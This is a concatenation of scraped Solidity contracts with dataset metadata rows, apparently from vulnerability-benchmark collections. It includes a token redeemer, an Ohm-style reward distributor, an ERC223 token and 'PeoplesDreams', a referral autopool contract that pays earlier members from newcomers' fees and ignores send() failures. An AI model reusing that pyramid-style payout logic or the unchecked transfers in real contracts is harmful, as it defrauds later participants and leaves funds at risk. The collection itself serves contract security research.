uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
contract SCATTokenRedeem is Ownable, ReentrancyGuard {
using SafeERC20 for ERC20;
address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
address public immutable preSCAT;
address public immutable SCATAddress;
uint256 public startTime;
event SCATSwap(address sender, uint256 amountIn, uint256 amountOut);
event StartTimeChanged(uint256 newStartTime);
event SCATRecovery(address recipient, uint256 recoveryAmount);
constructor(uint256 _startTime, address _preSCAT, address _SCATAddress) {
require(block.timestamp < _startTime, "cannot set start block in the past!");
require(_preSCAT != _SCATAddress, "preSCAT cannot be equal to SCAT");
require(_SCATAddress != address(0), "_SCATAddress cannot be the zero address");
require(_preSCAT != address(0), "_preSCATAddress cannot be the zero address");
startTime = _startTime;
preSCAT = _preSCAT;
SCATAddress = _SCATAddress;
}
function swapPreSCATForSCAT(uint256 SCATSwapAmount) external nonReentrant {
require(block.timestamp >= startTime, "token redemption hasn't started yet, good things come to those that wait");
uint256 pSCATDecimals = ERC20(preSCAT).decimals();
uint256 SCATDecimals = ERC20(SCATAddress).decimals();
uint256 SCATSwapAmountWei = pSCATDecimals > SCATDecimals ?
SCATSwapAmount / (10 ** (pSCATDecimals - SCATDecimals)) :
pSCATDecimals < SCATDecimals ?
SCATSwapAmount * (10 ** (SCATDecimals - pSCATDecimals)) :
SCATSwapAmount;
require(IERC20(SCATAddress).balanceOf(address(this)) >= SCATSwapAmountWei, "Not enough tokens in contract for swap");
ERC20(preSCAT).safeTransferFrom(msg.sender, BURN_ADDRESS, SCATSwapAmount);
ERC20(SCATAddress).safeTransfer(msg.sender, SCATSwapAmountWei);
emit SCATSwap(msg.sender, SCATSwapAmount, SCATSwapAmountWei);
}
function setStartTime(uint256 _newStartTime) external onlyOwner {
require(block.timestamp < startTime, "cannot change start block if sale has already commenced");
require(block.timestamp < _newStartTime, "cannot set start block in the past");
startTime = _newStartTime;
emit StartTimeChanged(_newStartTime);
}
// Recover SCAT in case of error, only owner can use.
function recoverSCAT(address recipient, uint256 recoveryAmount) external onlyOwner {
if (recoveryAmount > 0)
ERC20(SCATAddress).safeTransfer(recipient, recoveryAmount);
emit SCATRecovery(recipient, recoveryAmount);
}
}
| 332,089 | 792 |
78cac2c19405daed46ea5640d865979ef6920802c1f2de97cfafc6c8354d4989
| 17,489 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TK/TKNe5hofL9YsEA1qmVYpx9F35yX9zdbtaV_PeoplesDreams.sol
| 4,490 | 16,980 |
//SourceUnit: PeoplesDreams.sol
pragma solidity 0.4.25 - 0.5.9;
contract PeoplesDreams {
address public ownerWallet;
address public DreamsownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=1500 trx;
uint comisionSpo=400 trx;
uint pool1_price=1500 trx;
uint pool2_price=1400 trx;
uint pool3_price=2800 trx;
uint pool4_price=5600 trx;
uint pool5_price=11200 trx;
uint pool6_price=22400 trx;
uint pool6_dif = 20900 trx;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor(address dreaddrOwne) public {
ownerWallet = msg.sender;
DreamsownerWallet = dreaddrOwne;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: 0,
referredUsers:0
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
PoolUserStruct memory pooluserStruct;
pool1currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1activeUserID=pool1currUserID;
pool1users[msg.sender] = pooluserStruct;
pool1userList[pool1currUserID]=msg.sender;
pool2currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2activeUserID=pool2currUserID;
pool2users[msg.sender] = pooluserStruct;
pool2userList[pool2currUserID]=msg.sender;
pool3currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3activeUserID=pool3currUserID;
pool3users[msg.sender] = pooluserStruct;
pool3userList[pool3currUserID]=msg.sender;
pool4currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4activeUserID=pool4currUserID;
pool4users[msg.sender] = pooluserStruct;
pool4userList[pool4currUserID]=msg.sender;
pool5currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5activeUserID=pool5currUserID;
pool5users[msg.sender] = pooluserStruct;
pool5userList[pool5currUserID]=msg.sender;
pool6currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6activeUserID=pool6currUserID;
pool6users[msg.sender] = pooluserStruct;
pool6userList[pool6currUserID]=msg.sender;
}
function regUser(uint _referrerID,address _addrOwner) public payable {
require(!users[msg.sender].isExist, "User Exists");
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referral ID');
require(msg.value == REGESTRATION_FESS, 'Incorrect Value');
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
referredUsers:0
});
users[msg.sender] = userStruct;
userList[currUserID]=msg.sender;
users[userList[users[msg.sender].referrerID]].referredUsers=users[userList[users[msg.sender].referrerID]].referredUsers+1;
payReferral(1,msg.sender,_addrOwner);
buyPool1(msg.sender);
emit regLevelEvent(msg.sender, userList[_referrerID], now);
}
function payReferral(uint _level, address _user, address _addrOwner) internal {
address referer;
referer = userList[users[_user].referrerID];
bool sent = false;
bool senduse = false;
senduse = address(uint160(_addrOwner)).send(comisionSpo);
sent = address(uint160(referer)).send(comisionSpo);
if (sent) {
emit getMoneyForLevelEvent(referer, msg.sender, _level, now);
}
}
function buyPool1(address _user) internal {
require(users[_user].isExist, "User Not Registered");
require(!pool1users[_user].isExist, "Already in AutoPool");
PoolUserStruct memory userStruct;
address pool1Currentuser=pool1userList[pool1activeUserID];
pool1currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1users[_user] = userStruct;
pool1userList[pool1currUserID]=_user;
pool1users[pool1Currentuser].payment_received+=1;
if(pool1users[pool1Currentuser].payment_received == 1){
address(uint160(pool1Currentuser)).send(address(this).balance + pool1_price - address(this).balance);
}
if(pool1users[pool1Currentuser].payment_received == 3){
pool1activeUserID+=1;
buyPool2(_user,1);
emit getPoolPayment(_user,pool1Currentuser, 1, now);
}
emit regPoolEntry(_user, 1, now);
}
function buyPool2(address _user,uint8 indenp) internal {
PoolUserStruct memory userStruct;
address pool2Currentuser=pool2userList[pool2activeUserID];
pool2currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2users[_user] = userStruct;
pool2userList[pool2currUserID]=_user;
pool2users[_user] = userStruct;
pool2userList[pool2currUserID]=_user;
pool2users[pool2Currentuser].payment_received+=1;
if(pool2users[pool2Currentuser].payment_received == 1){
address(uint160(pool2Currentuser)).send(address(this).balance + pool2_price - address(this).balance);
}
if(indenp == 1){
if(pool2users[pool2Currentuser].payment_received == 3){
buyPool3(_user,1);
pool2activeUserID+=1;
emit getPoolPayment(_user,pool2Currentuser, 2, now);
}
}else{
if(pool2users[pool2Currentuser].payment_received == 2){
address(uint160(pool2Currentuser)).send(address(this).balance + pool2_price - address(this).balance);
}
if(pool2users[pool2Currentuser].payment_received == 3){
address(uint160(pool2Currentuser)).send(address(this).balance + pool2_price - address(this).balance);
pool2activeUserID+=1;
emit getPoolPayment(_user,pool2Currentuser, 2, now);
}
}
emit regPoolEntry(_user, 2, now);
}
function buyPool3(address _user,uint8 indenp) internal {
require(users[_user].isExist, "User Not Registered");
require(!pool3users[_user].isExist, "Already in AutoPool");
require(users[_user].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool3Currentuser=pool3userList[pool3activeUserID];
pool3currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3users[_user] = userStruct;
pool3userList[pool3currUserID]=_user;
pool3users[pool3Currentuser].payment_received+=1;
if(pool3users[pool3Currentuser].payment_received == 1){
address(uint160(pool3Currentuser)).send(address(this).balance + pool3_price - address(this).balance);
}
if(indenp == 1){
if(pool3users[pool3Currentuser].payment_received == 3){
buyPool4(_user,1);
pool3activeUserID+=1;
emit getPoolPayment(_user,pool3Currentuser, 3, now);
}
}else{
if(pool3users[pool3Currentuser].payment_received == 2){
address(uint160(pool3Currentuser)).send(address(this).balance + pool3_price - address(this).balance);
}
if(pool3users[pool3Currentuser].payment_received == 3){
address(uint160(pool3Currentuser)).send(address(this).balance + pool3_price - address(this).balance);
pool3activeUserID+=1;
emit getPoolPayment(_user,pool3Currentuser,3, now);
}
}
emit regPoolEntry(_user,3, now);
}
function buyPool4(address _user,uint8 indenp) internal {
require(users[_user].isExist, "User Not Registered");
require(!pool4users[_user].isExist, "Already in AutoPool");
require(users[_user].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool4Currentuser=pool4userList[pool4activeUserID];
pool4currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4users[_user] = userStruct;
pool4userList[pool4currUserID]=_user;
pool4users[pool4Currentuser].payment_received+=1;
if(pool4users[pool4Currentuser].payment_received == 1){
address(uint160(pool4Currentuser)).send(address(this).balance + pool4_price - address(this).balance);
}
if(indenp == 1){
if(pool4users[pool4Currentuser].payment_received == 3){
buyPool5(_user,1);
pool4activeUserID+=1;
emit getPoolPayment(_user,pool4Currentuser, 4, now);
}
}else{
if(pool4users[pool4Currentuser].payment_received == 2){
address(uint160(pool4Currentuser)).send(address(this).balance + pool4_price - address(this).balance);
}
if(pool4users[pool4Currentuser].payment_received == 3){
address(uint160(pool4Currentuser)).send(address(this).balance + pool4_price - address(this).balance);
pool4activeUserID+=1;
emit getPoolPayment(_user,pool4Currentuser, 4, now);
}
}
emit regPoolEntry(_user, 4, now);
}
function buyPool5(address _user,uint8 indenp) internal {
require(users[_user].isExist, "User Not Registered");
require(!pool5users[_user].isExist, "Already in AutoPool");
require(users[_user].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool5Currentuser=pool5userList[pool5activeUserID];
pool5currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5users[_user] = userStruct;
pool5userList[pool5currUserID]=_user;
pool5users[pool5Currentuser].payment_received+=1;
if(pool5users[pool5Currentuser].payment_received == 1){
address(uint160(pool5Currentuser)).send(address(this).balance + pool5_price - address(this).balance);
}
if(indenp == 1){
if(pool5users[pool5Currentuser].payment_received == 3){
buyPool6(_user,1);
pool5activeUserID+=1;
emit getPoolPayment(_user,pool5Currentuser, 4, now);
}
}else{
if(pool5users[pool5Currentuser].payment_received == 2){
address(uint160(pool5Currentuser)).send(address(this).balance + pool5_price - address(this).balance);
}
if(pool5users[pool5Currentuser].payment_received == 3){
address(uint160(pool5Currentuser)).send(address(this).balance + pool5_price - address(this).balance);
pool5activeUserID+=1;
emit getPoolPayment(_user,pool5Currentuser, 5, now);
}
}
emit regPoolEntry(_user, 5, now);
}
function buyPool6(address _user,uint8 indenp) internal {
require(!pool6users[_user].isExist, "Already in AutoPool");
require(msg.value == pool6_price, 'Incorrect Value');
require(users[_user].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool6Currentuser=pool6userList[pool6activeUserID];
pool6currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6users[_user] = userStruct;
pool6userList[pool6currUserID]=_user;
if(pool6users[pool6Currentuser].payment_received == 1){
address(uint160(pool6Currentuser)).send(address(this).balance + pool6_price - address(this).balance);
}
if(pool6users[pool6Currentuser].payment_received == 2){
address(uint160(pool6Currentuser)).send(address(this).balance + pool6_price - address(this).balance);
}
if(pool6users[pool6Currentuser].payment_received == 3){
address(uint160(pool6Currentuser)).send(address(this).balance + pool6_dif - address(this).balance);
DreamsownerWallet.transfer(comisionSpo);
buyPool1(_user);
pool6activeUserID+=1;
emit getPoolPayment(_user,pool6Currentuser, 6, now);
}
emit regPoolEntry(_user, 6, now);
}
function buyPool2Pay() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool2users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool2_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
buyPool2(msg.sender,2);
}
function buyPool3Pay() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool3users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool3_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
buyPool3(msg.sender,2);
}
function buyPool4Pay() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool4users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool4_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
buyPool4(msg.sender,2);
}
function buyPool5Pay() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool5users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool5_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
buyPool5(msg.sender,2);
}
function buyPool6Pay() public payable {
require(!pool6users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool6_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
buyPool6(msg.sender,2);
}
}
| 299,697 | 793 |
0b9278a12a8b60e0d8873b698c72980b7f08c744cc040459788f1f7817f44652
| 18,012 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f8/f8559d95c7817be6974025be0e4bce7550be38a2_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 83,346 | 794 |
c2dbd45fbdab094ec8fe6749d54a8202530023e860053911c13adfd8220452c4
| 12,026 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x999aa6488f076e6765448f090aba83fbb470fc99.sol
| 2,938 | 11,909 |
pragma solidity ^0.5.3;
contract Ownable
{
address private owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public
{
owner = msg.sender;
}
modifier onlyOwner()
{
require(msg.sender == owner, "Only owner can call this function.");
_;
}
function isOwner() public view returns(bool)
{
return msg.sender == owner;
}
function transferOwnership(address newOwner) public onlyOwner
{
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC20
{
uint256 public tokenTotalSupply;
string private tokenName;
string private tokenSymbol;
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function burnOwnTokens(uint256 amountToBurn) external;
function setCrowdsale(address crowdsaleAddress, uint256 crowdsaleAmount) external;
}
contract IERC223 is IERC20
{
function transfer(address to, uint value, bytes memory data) public returns (bool);
function transferFrom(address from, address to, uint value, bytes memory data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract IERC223Receiver
{
function tokenFallback(address from, address sender, uint value, bytes memory data) public returns (bool);
}
contract IMigrationAgent
{
function finalizeMigration() external;
function migrateTokens(address owner, uint256 tokens) public;
}
contract IMigrationSource
{
address private migrationAgentAddress;
IMigrationAgent private migrationAgentContract;
bool private isMigrated;
event MigratedFrom(address indexed owner, uint256 tokens);
function setMigrationAgent(address agent) external;
function migrate() external;
function finalizeMigration() external;
}
library SafeMath
{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0)
{
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplying error.");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b > 0, "Division error.");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b <= a, "Subtraction error.");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
require(c >= a, "Adding error.");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b != 0, "Mod error.");
return a % b;
}
}
contract EggToken is IERC223, Ownable, IMigrationSource
{
using SafeMath for uint256;
uint256 private tokenTotalSupply;
string private tokenName;
string private tokenSymbol;
uint8 private tokenDecimals;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowances;
address private migrationAgentAddress;
IMigrationAgent private migrationAgentContract;
bool private isMigrated;
bool private isCrowdsaleSet;
address private owner;
constructor(string memory name,
string memory symbol,
uint256 totalSupply,
address developmentTeamAddress,
uint256 developmentTeamBalance,
address marketingTeamAddress,
uint256 marketingTeamBalance,
address productTeamAddress,
uint256 productTeamBalance,
address airdropAddress,
uint256 airdropBalance) public
{
tokenName = name;
tokenSymbol = symbol;
tokenDecimals = 18;
tokenTotalSupply = totalSupply;
balances[developmentTeamAddress] = developmentTeamBalance;
balances[marketingTeamAddress] = marketingTeamBalance;
balances[productTeamAddress] = productTeamBalance;
balances[airdropAddress] = airdropBalance;
}
